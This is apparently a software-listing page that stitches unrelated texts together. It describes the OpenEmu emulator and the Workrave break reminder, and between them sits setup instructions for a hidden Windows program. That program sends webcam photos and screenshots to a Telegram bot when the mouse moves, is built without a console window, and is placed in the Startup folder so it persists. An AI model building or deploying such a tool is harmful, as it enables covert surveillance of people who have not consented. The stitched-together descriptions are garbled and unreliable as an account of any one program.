It is an open-source project whose purpose is to bring macOS game emulation into the realm of first-class citizenship. The project leverages modern macOS technologies, such as Cocoa, Metal, Core Animation, and other third-party libraries. One third-party library example is Sparkle, which is used for auto-updating. OpenEmu uses a modular architecture, allowing for game-engine plugins, allowing OpenEmu to support a host of different emulation engines and back ends while retaining the familiar macOS native front end.




Currently, OpenEmu can load the following game engines as plugins:


  • Atari 2600 (Stella)
  • Atari 5200 (Atari800)
  • Atari 7800 (ProSystem)
  • Atari Lynx (Mednafen)
  • ColecoVision (CrabEmu)
  • Famicom Disk System (Nestopia)
  • Game Boy / Game Boy Color (Gambatte)
  • Game Boy Advance (mGBA)
  • GameCube (Dolphin)
  • Game Gear (Genesis Plus)
  • Intellivision (Bliss)
  • NeoGeo Pocket (Mednafen)
  • Nintendo (NES) / Famicom (FCEUX, Nestopia)
  • Nintendo 64 (Mupen64Plus)
  • Nintendo DS (DeSmuME)
  • Odyssey² / Videopac+ (O2EM)
  • PC-FX (Mednafen)
  • SG-1000 (Genesis Plus)
  • Sega 32X (picodrive)
  • Sega CD / Mega CD (Genesis Plus)
  • Sega Genesis / Mega Drive (Genesis Plus)

The cursor will be moved to zero coordinates (can be changed, line 23) after starting the application.

If the cursor is moved, the computer camera will take 1 photo, and the mss module will take 1 screenshot of the screen, all this will be sent to the telegram channel (need to be created), after a delay of 1-3 seconds. the procedure will be repeated again. Then there will be a delay of 5 seconds, the cursor will be moved to the coordinate that is written on line 76, this is done in case someone accidentally hits the computer mouse!

To work, you need to create a telegram bot and write down its token on line 13, and on line 14, enter the id of the channel where the photos will be sent. Bot needs to be added as an admin!

After you have filled in the 13th and 14th scale, you can build the .exe file by running the command in cmd:  pyinstaller -F --onefile --nocosole main.py

Create a shortcut to the program and add to startup: c:\Users\ACCOUNT LOGIN\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup this will allow the program to start even after a system reboot.




The key combination alt + a (line 41) will put the program into standby mode and move the cursor to coordinates 500, 500 (to understand that the program is not active)

The key combination ctrl + alt (line 33) will put the program into active mode

This program alerts you to take micro breaks, rest breaks and limits your daily computer usage.

It monitors your keyboard and mouse usage and uses this information to prevent your health from getting worse.

Microbreaks: Workrave often reminds you of a little break. Usually every 3 minutes there is a micro-break that lasts about 30 seconds. The exact duration and frequency of the microblock can be fully customized. During a micro break, you can let go of your keyboard and mouse, take your eyes off the screen, and relax a bit.

Rest breaks: Several times a day, Workrave reminds you to take a break from your computer. The rest break usually lasts about 10 minutes every 45 minutes, but the duration and frequency are configurable. During your rest break, you can walk, stretch and relax.

Daily limit: Workrave tracks the amount of time you use your computer. When you have reached your configured daily computer usage limit, you will be prompted to stop using your computer for the day.




Statistics: You can see the number of breaks per day you have taken as well as the number of breaks you have ignored and postponed. Also available is the amount of time you use your computer daily, weekly, and monthly.
